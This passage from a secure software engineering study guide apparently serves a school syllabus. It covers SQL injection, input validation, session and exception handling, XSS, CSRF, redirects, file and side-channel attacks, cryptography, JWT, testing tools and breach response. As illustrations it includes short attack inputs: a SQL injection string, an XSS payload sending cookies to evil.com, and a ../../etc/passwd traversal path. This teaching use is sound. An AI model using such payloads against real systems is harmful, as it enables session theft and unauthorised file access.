    # Attacker could input: admin' OR '1'='1
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)  # DANGEROUS!
    return cursor.fetchone()

# SECURE - Parameterised query
def get_user_safe(username):
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
    # Parameters are safely escaped by the database driver
    query = "SELECT * FROM users WHERE username = ?"
    cursor.execute(query, (username,))  # Safe!
    return cursor.fetchone()

# SECURE - Using an ORM (Django example)
def get_user_orm(username):
    # Django ORM automatically uses parameterised queries
    return User.objects.filter(username=username).first()
Python — Defensive Input Validation, Sanitisation & Error Handling
import html
import re
import logging

# Configure logging — errors go to a log file, not to the user
logging.basicConfig(filename='app.log', level=logging.ERROR)

def process_comment(user_input: str) -> str:
    """
    Validates, sanitises and safely stores a user comment.
    Returns a user-facing message (never internal error details).
    """
    try:
        # Validation: Enforce type and length constraints
        if not isinstance(user_input, str):
            raise ValueError("Input must be a string.")
        if len(user_input) > 500:
            raise ValueError("Comment exceeds 500 character limit.")
        if len(user_input.strip()) == 0:
            raise ValueError("Comment cannot be empty.")

        # Sanitisation: Escape HTML special characters to prevent XSS
        # e.g., <script>alert('xss')</script> → &lt;script&gt;...
        safe_input = html.escape(user_input)

        # Further sanitisation: strip any remaining script-like patterns
        safe_input = re.sub(r'on\w+\s*=', '', safe_input, flags=re.IGNORECASE)

        # Parameterised query prevents SQL injection — never use string formatting
        # cursor.execute("INSERT INTO comments (body) VALUES (?)", (safe_input,))
        return "Comment saved successfully."

    except ValueError as ve:
        # Known validation error — safe to show a generic user message
        logging.warning(f"Validation error: {ve}")
        return f"Error: {str(ve)}"
    except Exception as e:
        # Unexpected system error — log internally, show nothing revealing to user
        logging.error(f"System fault in process_comment: {e}", exc_info=True)
        return "An unexpected error occurred. Please try again later."

🔒 Input Validation and Output Encoding

Input validation rejects data that does not conform to a strict specification before it enters the system. Output encoding transforms data before it is rendered in a context (HTML, SQL, shell) so that special characters cannot be interpreted as instructions. Together they are the two-layer defence against injection and XSS attacks.

Python — Input Validation and Output Encoding
import re
import html

def validate_email(email: str) -> bool:
    """Validate email format using regex."""
    pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    return bool(re.match(pattern, email)) and len(email) <= 254

def sanitise_username(username: str) -> str:
    """Allow only alphanumeric characters and underscores."""
    if not username or len(username) < 3 or len(username) > 20:
        raise ValueError("Username must be 3-20 characters")
    if not re.match(r'^[a-zA-Z0-9_]+$', username):
        raise ValueError("Username can only contain letters, numbers, underscores")
    return username

def encode_output(user_input: str) -> str:
    """Encode HTML special characters to prevent XSS."""
    return html.escape(user_input)

# Usage examples
print(validate_email("student@school.edu.au"))  # True
print(sanitise_username("john_doe123"))          # john_doe123
print(encode_output("<script>alert('xss')</script>"))
# &lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt;
The Three Rules of Input Handling: Never Trust, Always Validate, Always Encode — never trust data from any external source (users, APIs, files); always validate that it matches the expected format before processing; always encode it for the output context (HTML, SQL, shell) before rendering or storing.

🛡️ Safe API Design

An API (Application Programming Interface) that is insecurely designed is one of the most common and dangerous attack surfaces in modern software. A safe API enforces multiple protective layers:

🪙 Authentication TokensEvery API request must present a valid authentication token (e.g., JWT Bearer token or API key in the Authorization header). Unauthenticated requests are rejected with HTTP 401 Unauthorized before any processing occurs. Tokens must be short-lived (15–60 minutes for JWTs) and refreshed using secure refresh token flows.
🚦 Rate LimitingLimits the number of requests a client can make per time window (e.g., 100 requests per minute per API key). Prevents brute-force attacks on authentication endpoints, data scraping, and denial-of-service through resource exhaustion. Exceeding the limit returns HTTP 429 Too Many Requests.
🔐 HTTPS OnlyAll API communication must be over HTTPS — never HTTP. Even internal microservice-to-microservice communication should use mutual TLS (mTLS) to prevent man-in-the-middle attacks within a network perimeter.
📋 Input Validation on Every EndpointEvery API endpoint must independently validate and sanitise all inputs — it cannot trust that a calling service has already validated the data. APIs are often called directly by attackers bypassing any client-side validation entirely.
🔒 Least Privilege ScopesOAuth 2.0 scopes restrict what each token is authorised to do. A token issued for reading user profile data should not permit writing or deleting data. Separate tokens with minimal scopes for each integration reduce the blast radius of any compromised token.

⚡ Efficient Execution: Memory, Session and Exception Management

🎯 (SE-12-02, SE-12-07)

📌 Design, develop and implement code considering efficient execution for the user, including memory management, session management, and exception management.

💾 Memory Management

Memory management ensures that the application allocates, uses, and releases memory resources efficiently — preventing memory leaks that degrade performance over time, and preventing memory-based vulnerabilities such as buffer overflows. A memory leak occurs when allocated memory is never released after use, gradually consuming all available RAM until the application crashes or the server grinds to a halt. In Python, the garbage collector handles most memory management automatically, but engineers must still explicitly close file handles, database connections, and network sockets after use. The with statement (context manager) ensures resources are released even if an exception occurs mid-block:

Python — Memory Management with Context Managers
# Correct: context manager guarantees file is closed even if an exception occurs
with open('data.txt', 'r') as f:
    data = f.read()
# File is automatically closed here — no memory leak possible

# Database connection — also use context manager
import sqlite3
with sqlite3.connect('app.db') as conn:
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
    result = cursor.fetchone()
# Connection automatically closed — resources freed

Session Management

Session management controls how the server tracks authenticated users across multiple HTTP requests — since HTTP is stateless, each request must carry proof of identity. Insecure session management is consistently listed in the OWASP Top 10 most critical web vulnerabilities. Secure session management practices:

🎲 Cryptographically Random Session IDsSession tokens must be generated using a cryptographically secure random number generator — not sequential integers or predictable patterns. A predictable session ID can be guessed by an attacker who has observed one valid session ID.
🍪 Secure Cookie AttributesSession cookies must have: HttpOnly (prevents JavaScript from reading the cookie, blocking XSS-based session theft); Secure (cookie is only sent over HTTPS, never HTTP); SameSite=Strict (prevents the cookie being sent in cross-site requests, blocking CSRF); and a short Max-Age (auto-expire idle sessions).
⏱️ Session ExpirySessions must expire automatically after a defined period of inactivity (e.g., 15–30 minutes for sensitive applications, 24 hours for lower-risk applications). Upon logout, the session token must be immediately invalidated on the server — deleting it from the client alone is insufficient, as a copy of the token may have been stolen.
🔄 Session RegenerationAfter a successful login, a new session ID must be issued — invalidating any pre-authentication session. This prevents session fixation attacks, where an attacker tricks a victim into using an attacker-controlled session ID before they log in.

Exception Management

Exception management ensures that when unexpected errors occur, the application handles them gracefully — maintaining availability for other users while preventing the exposure of sensitive system information. Unhandled exceptions that crash a web server process take the entire application offline for all users (an availability failure). Unhandled exceptions that display a stack trace to the user reveal the server technology stack, file paths, and code structure to attackers. Best practices: catch specific exception types rather than broad bare except clauses; log the full technical detail internally with a correlation ID; return a user-facing generic error message with the same correlation ID so support staff can look up the internal log; and implement a global exception handler as a last-resort safety net that catches any unhandled exception before it can crash the server process.


⚠️ Minimising Vulnerabilities in User Action Controls

🎯 (SE-12-07, SE-12-08)

📌 Design, develop and implement secure code to minimise vulnerabilities in user action controls, including broken authentication, XSS, CSRF, invalid forwarding and redirecting, and race conditions.

🔓 Broken Authentication and Session ManagementVulnerability: Weak passwords accepted, no account lockout on repeated failures, session tokens not invalidated on logout, or passwords stored in plaintext. An attacker can brute-force passwords, steal session cookies via XSS, or use credential-stuffing attacks with leaked databases. Prevention: Enforce minimum password complexity; implement bcrypt hashing with salt; lock accounts after 5 failed attempts; use HttpOnly, Secure, SameSite session cookies; invalidate server-side session on logout; implement MFA for sensitive operations.
💉 Cross-Site Scripting (XSS)Vulnerability: An attacker injects malicious JavaScript into a page served to other users — for example, submitting <script>document.location='https://evil.com/?c='+document.cookie</script> as a comment. When other users view the page, the script executes in their browser, stealing their session cookies or performing actions on their behalf. Prevention: HTML-encode all user-supplied content before rendering it (convert < to &lt;); implement Content Security Policy (CSP) headers that forbid inline scripts; use modern frameworks (React, Vue) that automatically escape dynamic content.
🔀 Cross-Site Request Forgery (CSRF)Vulnerability: A malicious website tricks an authenticated user's browser into submitting an unwanted request to another site where the user is logged in. For example, a hidden image tag on a malicious page makes the user's browser silently send a bank transfer request — the bank sees a valid session cookie and processes the transfer. Prevention: Issue a unique, unpredictable anti-CSRF token with every state-changing form; validate the token server-side before processing. Use SameSite=Strict cookies to block cross-origin requests from sending cookies at all.
↩️ Invalid Forwarding and RedirectingVulnerability: An application redirects users to a URL provided as a parameter — e.g., /login?next=https://evil.com. After login, the application blindly redirects to the attacker's site. The user, trusting that they authenticated on the real site, does not notice the redirect — a phishing vector. Prevention: Never use user-supplied URLs as redirect targets without validation. Maintain a strict allowlist of permitted redirect destinations and reject anything not on the list. Prefer internal relative paths (e.g., /dashboard) over absolute URLs for post-login redirects.
⚡ Race ConditionsVulnerability: When two concurrent requests interact with shared data simultaneously, the final state may be incorrect. For example, two concurrent requests to withdraw $500 from an account with $600 may both read the balance as $600, both deduct $500, and leave a balance of $100 — allowing $1000 withdrawn from a $600 account. Prevention: Use database transactions with appropriate isolation levels (SERIALIZABLE); employ pessimistic locking (SELECT FOR UPDATE) to prevent concurrent modification of the same row; implement atomic operations for financial transactions.

📁 Protecting Against File and Hardware Vulnerabilities

🎯 (SE-12-07, SE-12-08)

📌 Design, develop and implement secure code to protect user file and hardware vulnerabilities from file attacks and side channel attacks.

Protection Against File Attacks

🗂️ Directory TraversalAttack: A malicious user manipulates a file path parameter to escape the intended directory — e.g., submitting ../../etc/passwd to read the server's password file. Prevention: Never construct file paths directly from user input. Resolve the absolute canonical path using os.path.realpath() and verify it begins with the permitted base directory. Reject any path containing .. or null bytes. Store user uploads in a designated, isolated directory with no execute permissions.
📎 Malicious File UploadsAttack: An attacker uploads a file with a malicious extension disguised as an image (e.g., shell.php renamed as photo.jpg) and then accesses it via URL to execute server-side code. Prevention: Validate the actual file content type (MIME type inspection, not just the filename extension); restrict permitted file types to an explicit allowlist; store uploaded files in cloud object storage (e.g., AWS S3) that does not serve files as executable code; rename uploaded files to random UUIDs, removing any attacker-controlled filename.
🔒 File Permission HardeningApplication files should be owned by the web server process user, with the minimum required permissions. Configuration files containing secrets (database passwords, API keys) must not be world-readable. Sensitive files must never be placed in publicly accessible web directories. Use environment variables or secrets management systems (e.g., AWS Secrets Manager, HashiCorp Vault) rather than storing secrets in configuration files in the codebase.

Protection Against Side Channel Attacks

Side channel attacks exploit information inadvertently leaked through the physical implementation of a system — such as power consumption, electromagnetic emissions, execution timing, or cache access patterns — rather than flaws in the algorithm itself. The attacker does not break the cryptographic algorithm; they observe the system's physical behaviour while it executes to infer secret values.

⏱️ Timing Attacks

An attacker measures how long a password comparison takes. If the comparison function returns as soon as it finds a mismatch (char by char early exit), comparing a password that starts with the correct characters takes longer than one that fails on the first character — leaking information about the correct value. Prevention: Use constant-time comparison functions (e.g., Python's hmac.compare_digest()) that always take the same time regardless of where the mismatch occurs.

⚡ Power Analysis

By measuring the power consumption of a device (e.g., a smart card or IoT chip) while it performs cryptographic operations, an attacker can statistically analyse the power trace to deduce the private key — even without physical access to extract the key directly. Prevention: Hardware-level countermeasures including random delays, power consumption masking, and hardware security modules (HSMs) that isolate cryptographic operations from observable power variations.

🖥️ Cache Side Channels

Modern CPU caches create timing differences depending on whether data is in cache or must be fetched from RAM. The Spectre and Meltdown vulnerabilities (2018) exploited speculative execution in CPUs to read privileged memory via cache timing. Prevention: Apply OS and processor firmware security patches; use isolation techniques (process/VM separation); where performance permits, flush caches between security-sensitive operations.

Syllabus Part 3 🌐 Impact of Safe and Secure Software Development

🤝 Benefits of Collaboration in Secure Development

🎯 (SE-12-01, SE-12-05, SE-12-09)

📌 Apply and describe the benefits of collaboration to develop safe and secure software, including considering various points of view, delegating tasks based on expertise, and improving the quality of the solution.

Considering Various Points of View

Security vulnerabilities often arise from blind spots — assumptions that every developer on a team unconsciously shares. Diverse, collaborative teams with members of different backgrounds, experience levels, and technical specialisations surface these blind spots before attackers do. A junior developer may question why a legacy authentication flow uses MD5 hashing (now cryptographically broken), sparking a critical security review that a senior team that has always used it might never initiate. UX designers identify where security mechanisms create friction that users will bypass. Quality assurance engineers approach the system adversarially — trying to break it — revealing edge cases that developers, focused on making features work, did not consider. Security engineers trained in offensive techniques think like attackers, anticipating exploitation paths that application developers are not trained to see. Collaboration across these different perspectives produces a more comprehensively reviewed, higher-confidence security posture than any single expert could achieve alone.

Delegating Tasks Based on Expertise

Secure software development encompasses highly specialised domains that no single developer can master completely. Effective teams delegate responsibilities to members with the specific expertise required. Cryptography implementations (key management, protocol selection, algorithm configuration) are assigned to engineers with dedicated security training — an incorrectly implemented cryptographic protocol may appear to work correctly while providing no actual security. Front-end developers focus on output encoding, Content Security Policy configuration, and XSS prevention in the client-side code they know deeply. Database administrators design the access control and auditing configuration of database servers according to their specialised knowledge of the database engine. Network engineers configure firewalls, TLS termination, and intrusion detection systems. This deliberate delegation ensures each security domain receives the depth of expertise it requires, rather than being shallowly addressed by generalists stretched across every area simultaneously.

Quality of the Solution

Collaborative security practices — particularly peer code review and pair programming — produce measurably higher quality, more secure code than individual development. Peer code review is the single most cost-effective defect removal technique in software engineering: catching a vulnerability during code review costs a fraction of fixing it after deployment. When two developers review each other's security-critical code, logical errors, missing edge case handling, and subtle vulnerability patterns that the original author's familiarity blinds them to are caught before they ship. Collaboration also produces better documentation of security decisions — why a particular implementation was chosen over alternatives — reducing the risk that future maintainers unknowingly introduce vulnerabilities by changing security controls they do not understand the purpose of. Teams that practice collaborative security review consistently produce software with fewer critical vulnerabilities reaching production.


🏢 Benefits to an Enterprise of Secure Development

🎯 (SE-12-01, SE-12-05)

📌 Investigate and explain the benefits to an enterprise of the implementation of safe and secure development practices, including improved products, influence on future development, work practices, productivity, and business interactivity.

Improved Products or Services

Software built with security embedded from the design phase is fundamentally more reliable and trustworthy than software that has security patched on reactively. Secure products experience fewer incidents — zero outages from ransomware, no emergency patches that break existing functionality, no data breach disclosures that destroy user trust. This reliability becomes a genuine product differentiator: enterprise customers conducting vendor due diligence explicitly assess security posture (often requiring SOC 2 Type II certification or ISO 27001 compliance) before signing contracts. A demonstrably secure product wins those procurement decisions. For consumer products, trust built over years of responsible data stewardship creates brand loyalty that is enormously difficult for competitors to erode — while a single major breach can permanently destroy it.

Influence on Future Software Development

Enterprises that develop a culture of secure software engineering accumulate codified security knowledge — documented threat models, established security patterns, reusable security libraries, and tested compliance frameworks — that directly accelerates and improves the security of every subsequent product. The first product built with security by design takes significant investment to establish the patterns; the second product is built on top of proven, battle-tested security infrastructure. Over time, the enterprise develops internal expertise and reputation that attracts security-conscious talent and positions the organisation to participate in industry standards development (e.g., contributing to OWASP, Australian Cyber Security Centre guidance, or NIST frameworks), further enhancing reputation and influence. Security-mature organisations are also better positioned to respond to and shape evolving regulatory requirements — rather than scrambling to comply at the last moment.

Improved Work Practices

The implementation of DevSecOps — integrating security into every stage of the development pipeline — transforms security from a gating checkpoint at the end of the development cycle into a continuous quality feedback mechanism throughout it. Automated SAST scanning in CI/CD pipelines means developers receive security feedback within minutes of committing code, while the context of what they wrote is still fresh in mind — making remediation fast and educational. Security champions programs embed security expertise within development teams rather than siloing it in a separate security department, improving security knowledge across the entire engineering organisation. These practices systematically reduce the volume of security debt accumulated over time, resulting in a healthier, more maintainable codebase that is faster and cheaper to extend.

Productivity

Counter-intuitively, building security in from the start dramatically improves long-term development productivity. The cost of fixing a security vulnerability increases by an order of magnitude at each stage of development: a vulnerability identified by a developer during coding takes minutes to fix; the same vulnerability caught in code review takes hours; caught in testing takes days (including regression testing); caught in production requires an emergency patch, incident response, possible customer notification, regulatory reporting, and forensic investigation — potentially weeks of disrupted work. Teams that invest in shift-left security (catching vulnerabilities earlier in the development cycle) spend a fraction of the total time on security compared to teams that rely on reactive patching. Additionally, a stable, low-incident production environment means developers spend time building new features rather than responding to security emergencies.

Business Interactivity

Modern enterprises operate through an ecosystem of interconnected systems — sharing data with partners, customers, suppliers, and regulators through APIs and integrations. Secure API design (with authentication, authorisation scopes, input validation, rate limiting, and encryption) enables this business interactivity without exposing corporate systems to the security risks inherent in external connections. An enterprise with a strong security posture can participate in data-sharing partnerships that competitors with weaker security practices are excluded from — particularly in regulated industries such as healthcare (requiring compliance with Australian Digital Health Agency standards), financial services (PCI-DSS, APRA CPS 234), and government contracting (IRAP assessments). Conversely, a publicised breach or regulatory sanction can immediately disqualify an organisation from business-critical partnerships, with devastating commercial consequences.


⚖️ Social, Ethical and Legal Issues

🎯 (SE-12-05)

📌 Evaluate the social, ethical, and legal issues and ramifications that affect people and enterprises resulting from the development and implementation of safe and secure software, including employment, data security, privacy, copyright, intellectual property, and digital disruption.

Employment

The growing emphasis on software security is creating significant structural shifts in the technology labour market. Demand for cybersecurity professionals is growing rapidly — Australia faces a shortfall of tens of thousands of cybersecurity workers, with the Australian Cyber Security Centre (ACSC) reporting the sector needs to grow by 7,000 workers annually to meet demand. This creates strong employment opportunities for software engineers with security specialisations. However, automation of routine security testing (SAST, DAST, vulnerability scanning) is reducing demand for lower-skilled security roles focused on running tools and interpreting standard outputs. The remaining and growing roles require higher-order skills: penetration testers who think creatively like attackers, security architects who design systemic defences, and incident responders who manage complex breaches under pressure. Developers who do not develop security competency risk being disadvantaged as "secure by default" coding practices become a baseline expectation of all engineering roles, not a specialist add-on.

Data Security

Enterprises that handle personal data have both a legal obligation and an ethical duty to protect it. The legal framework in Australia includes the Privacy Act 1988 (Australian Privacy Principles), the Notifiable Data Breaches (NDB) scheme (requiring notification of eligible breaches to the OAIC and affected individuals within 30 days), and sector-specific requirements such as the My Health Records Act for healthcare data. The ethical dimension extends beyond legal compliance: collecting more data than necessary, retaining it longer than required, or using it for purposes beyond those disclosed to users at collection represents a breach of user trust even if it is technically legal. Engineers bear professional responsibility for the security of systems they design — a negligently designed system that suffers an avoidable breach causes real harm to real individuals whose financial, medical, or personal information is exposed. The ethical obligation is to apply due diligence in security design proportionate to the sensitivity of the data handled.

Privacy

Privacy is a fundamental human right recognised in Australian law through the Privacy Act 1988 and its APPs. Insecure software that exposes personal information — whether through a breach caused by negligent security design or through deliberately excessive data collection — violates this right with lasting consequences for affected individuals. Exposed personal information enables identity theft, financial fraud, targeted phishing, and in extreme cases stalking and physical harm. The social harm of large-scale breaches (such as the 2022 Optus breach affecting 9.8 million Australians, or the Medibank breach exposing sensitive health records) extends far beyond the immediate financial impact — creating lasting anxiety, distrust of digital services, and disproportionate harm to vulnerable individuals (domestic violence survivors, people with stigmatised health conditions) whose disclosed information can be weaponised against them. Engineers have an ethical obligation to treat privacy as a genuine design priority, not merely a compliance exercise.

Copyright

Software is protected by copyright from the moment it is created, without requiring registration. Copyright protects the specific expression of code (the actual written source code) — not the underlying idea or functionality. Enterprises must ensure they do not incorporate third-party code without the appropriate licence. Using open-source libraries requires understanding and complying with their respective licences: MIT and Apache 2.0 allow use in proprietary software with attribution; GPL-licensed code requires any derivative work to also be open source — a requirement that can force an enterprise to open-source its proprietary codebase if GPL code is incorporated without understanding this obligation. AI-generated code introduces novel copyright questions that are not yet fully resolved in Australian law — the source of training data and the originality of generated output are active areas of legal debate with significant implications for enterprise software development.

Intellectual Property

Proprietary software algorithms, architectures, and business logic represent significant intellectual property (IP) assets that secure software design must protect from theft and unauthorised disclosure. Trade secrets (unpatented technical approaches that derive value from their secrecy) are protected under common law and the Corporations Act 2001, but only if the enterprise takes reasonable steps to maintain their secrecy — which requires technical security measures (code obfuscation, server-side execution of sensitive logic, access controls, NDAs with employees and contractors) and legal protections. A security breach that exposes proprietary source code, training data for ML models, or unique business algorithms can destroy the commercial value of years of R&D investment. Additionally, engineers must ensure the software they develop does not unintentionally incorporate competitors' IP through reverse engineering — a legally and ethically fraught practice with significant liability exposure.

Digital Disruption

Highly secure, scalable digital platforms are a primary vehicle of digital disruption — displacing established industries by offering superior trust, convenience, and cost efficiency built on robust technical infrastructure. The disruption is bidirectional: secure fintech platforms (such as Afterpay, Revolut, and digital-only banks) disrupt traditional banking by offering comparable or superior financial services without physical branch infrastructure; conversely, a high-profile security failure by a disruptive digital entrant (such as a cryptocurrency exchange breach) can instantly restore consumer confidence in the incumbent institution it was displacing. For established enterprises, failing to invest in secure digital infrastructure creates vulnerability to disruption by more security-mature competitors — customers increasingly make choices based on perceived trustworthiness of digital platforms. The social dimension of digital disruption includes: geographic communities losing economic activity as digital services replace local businesses; skill displacement as digital processes automate roles that provided employment pathways; and concentration of market power in digital platform operators whose security and privacy practices affect vast user populations with limited alternatives.


🔑 Cryptography

🎯 (SE-12-04, SE-12-05)

📌 Describe symmetric and asymmetric encryption and hashing, and apply cryptographic techniques to protect data at rest and in transit.

Symmetric Encryption

The same key is used to both encrypt and decrypt data. Fast and efficient — used for encrypting files, database columns, and bulk data transfer.

AES (Advanced Encryption Standard)

The gold standard for symmetric encryption. Block cipher operating on 128-bit blocks. Key sizes: 128, 192, or 256 bits. AES-256 is essentially unbreakable with current technology. Used by governments, banks, and SSL/TLS. AES-GCM mode also provides authentication (detects tampering).

Python — AES-GCM Encrypt/Decrypt (cryptography library)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# Generate a random 256-bit key (store this securely!)
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)

# Encrypt
nonce = os.urandom(12)   # 12-byte random nonce (never reuse!)
plaintext = b"Sensitive student data"
ciphertext = aesgcm.encrypt(nonce, plaintext, None)

print(f"Encrypted: {ciphertext.hex()}")

# Decrypt
recovered = aesgcm.decrypt(nonce, ciphertext, None)
print(f"Decrypted: {recovered.decode()}")

🔐 Asymmetric Encryption

Uses a mathematically linked key pair: a public key (shared openly) and a private key (kept secret). Data encrypted with the public key can only be decrypted with the private key.

FeatureSymmetric (AES)Asymmetric (RSA)
KeysOne shared keyPublic + private key pair
SpeedFast — suitable for bulk dataSlow — only used for small data
Key distribution problemHow do you share the key securely?Solved — public key can be shared openly
Use casesFile encryption, disk encryption, AES in TLSKey exchange, digital signatures, SSL handshake

🔑 Password Hashing

Hashing is a one-way transformation — you cannot reverse a hash to get the original data. Never store passwords in plaintext or with simple hashing (MD5/SHA-1 are broken for passwords). Always use a purpose-built password hashing algorithm that includes salting and is deliberately slow.

Never use MD5 or SHA-1 for passwords. These are fast hashing algorithms — an attacker can test billions of guesses per second on modern GPUs. Use bcrypt, scrypt, or Argon2 which are deliberately slow and include a salt to prevent rainbow table attacks.
Python — Password hashing with bcrypt
import bcrypt

# Hashing a password (at registration)
password = "MySecretP@ss"
hashed = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
print(hashed)   # b'$2b$12$...' — includes the salt

# Verifying (at login) — never compare hashes directly
def check_login(entered_password, stored_hash):
    return bcrypt.checkpw(entered_password.encode('utf-8'), stored_hash)

print(check_login("MySecretP@ss", hashed))   # True
print(check_login("WrongPassword", hashed))  # False

🔐 API Security & JWT

🎯 (SE-12-04, SE-12-05)

📌 Apply authentication and authorisation mechanisms to secure web APIs — distinguishing between verifying identity and controlling access.

🛂 Authentication vs Authorisation

ConceptQuestion AnsweredExample
Authentication"Who are you?"Logging in with username + password or API key
Authorisation"What are you allowed to do?"User can read posts but cannot delete others' posts

🎟️ JWT (JSON Web Tokens)

A JWT is a compact, URL-safe token consisting of three Base64-encoded parts separated by dots: Header.Payload.Signature. The server signs the token with a secret key — any tampering with the payload invalidates the signature.

JWT Authentication Flow
────────────────────────────────────────────────────
1. User sends POST /login with {username, password}
2. Server verifies credentials → generates JWT
   JWT = {header}.{payload}.{HMAC_signature}
   Payload contains: {user_id, role, exp: timestamp}
3. Server returns JWT to client
4. Client stores JWT (localStorage or secure cookie)
5. Client sends JWT in every request:
   Authorization: Bearer eyJhbGciOiJIUzI1...
6. Server verifies signature + checks expiry → grants access
────────────────────────────────────────────────────
Python — JWT encode and decode (PyJWT)
import jwt
from datetime import datetime, timedelta, timezone

SECRET_KEY = "your-secret-key-keep-private"   # In production: use env variable

# Generate a token (at login)
def create_token(user_id, role):
    payload = {
        "user_id": user_id,
        "role": role,
        "exp": datetime.now(timezone.utc) + timedelta(hours=24)
    }
    return jwt.encode(payload, SECRET_KEY, algorithm="HS256")

# Verify and decode a token (on each protected request)
def verify_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload
    except jwt.ExpiredSignatureError:
        return None   # Token has expired
    except jwt.InvalidTokenError:
        return None   # Token is tampered or invalid

token = create_token(user_id=42, role="student")
print(verify_token(token))
# {'user_id': 42, 'role': 'student', 'exp': ...}
Never store API keys or JWT secrets in source code. Use environment variables or a secrets manager. If a key is committed to a public Git repository, assume it has been compromised and rotate it immediately.

🔍 Security Testing Tools

🎯 (SE-12-04, SE-12-05)

📌 Describe tools used for security testing and apply static analysis tools to identify vulnerabilities in Python code.

ToolTypeWhat It FindsCost
banditPython static analysisHardcoded passwords, SQL injection, use of unsafe functions (eval, pickle), insecure randomFree
safetyDependency checkerPython packages with known CVEs (Common Vulnerabilities and Exposures)Free (basic)
OWASP ZAPWeb app scannerXSS, SQL injection, CSRF, missing headers, insecure cookiesFree
Burp SuiteIntercepting proxyManual testing: inspect/modify HTTP requests, replay attacks, fuzzingFree (Community)
Bash — Running bandit and safety
# Install both tools
pip install bandit safety

# Run bandit on your Python project
bandit -r ./myproject/
# Reports severity (HIGH/MEDIUM/LOW) and CWE identifiers

# Check dependencies for known CVEs
safety check
# Scans requirements.txt against the safety vulnerability database
Responsible Disclosure: Only perform security testing on systems you own or have explicit written permission to test. Unauthorised security testing is illegal under the Australian Criminal Code (Computer Offences, Div. 477-478). Always get a signed scope-of-engagement document before any penetration testing.

🛡️ Systematic Debugging Process

When a security vulnerability is identified, engineers use a systematic process to resolve it:

  1. 🔍 Observe: Identify the unintended behaviour (e.g., "The application allows login without a password if a specific header is sent").
  2. 🧪 Isolate: Create a minimal, reproducible test case that triggers the vulnerability.
  3. 🧠 Hypothesise: Determine the root cause (e.g., "The authentication middleware is skipped for certain header combinations").
  4. 🛠️ Test: Apply a fix and verify it closed the vulnerability without breaking other features.
  5. ✅ Verify: Run the complete regression test suite and security scans.

🚨 Incident Response — What To Do When Breached

  1. Detect & Contain: Isolate affected systems. Revoke compromised credentials. Stop the breach from spreading.
  2. Assess Impact: What data was accessed? How many users affected? What systems were compromised?
  3. Notify Stakeholders: Management, legal, and (where required by law) regulators and affected individuals.
  4. Eradicate Threat: Remove malware, close the vulnerability, patch all affected systems.
  5. Recover Systems: Restore from clean backups. Reset all potentially compromised credentials.
  6. Post-Incident Review: Root cause analysis, update security policies, implement additional controls.
Australian Notifiable Data Breaches (NDB) Scheme: Under the Privacy Act 1988, organisations covered by the Act must notify the OAIC (Office of the Australian Information Commissioner) and affected individuals within 30 days of becoming aware of an eligible data breach — one likely to result in serious harm. Failure to notify carries civil penalties.

📄 NDB Mock Breach Notification Form

Practice fulfilling your legal accountability by filling out a mock OAIC notification summary.